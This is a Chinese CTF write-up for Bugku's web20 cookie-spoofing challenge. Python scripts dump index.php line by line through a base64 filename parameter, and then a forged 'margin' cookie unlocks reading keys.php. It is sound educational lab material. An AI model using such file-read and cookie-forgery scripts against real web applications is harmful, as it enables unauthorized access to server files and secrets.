【bugku】web20 cookies欺骗

题目

进入题目看到url

http://114.67.246.176:17939/index.php?line=&filename=a2V5cy50eHQ=

很熟眼，line功能应该就是行数，filename就是base64加密后的文件，放进get读取文件
试试读index.php

可以读，换下行数也可以读出来剩下的，但我选择用脚本

import requests
def fun(num):
    session = requests.Session()
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0","Connection":"keep-alive","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
    cookies = {"PHPSESSID":"ldo37io8vtliadt76v2bv8mf43"}
    paramsGet = {"line":num,"filename":"aW5kZXgucGhw"} //index.php的base64密文 
    response = session.get("http://114.67.246.176:17939/index.php", params=paramsGet, headers=headers, cookies=cookies)
    print(response.text)
for i in range(0,30):
    fun(i)

读取出来的源码，美化后

<?php
error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' => 'keys.txt',
    '1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
    $file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
    $fa = file($file);
    echo $fa[$line];
}
?>

说的是只要cookie里面有"margin":"margin",就会在数组里面加上keys.php,那我们可以把目标放到keys.php上

import requests
def fun(num):
    session = requests.Session()
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0","Connection":"keep-alive","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate"}
    cookies = {"PHPSESSID":"ldo37io8vtliadt76v2bv8mf43","margin":"margin"}
    paramsGet = {"line":num,"filename":"a2V5cy5waHA="} //keys.php的base64密文
    response = session.get("http://114.67.246.176:17939/index.php", params=paramsGet, headers=headers, cookies=cookies)
    print(response.text)
for i in range(0,30):
    fun(i)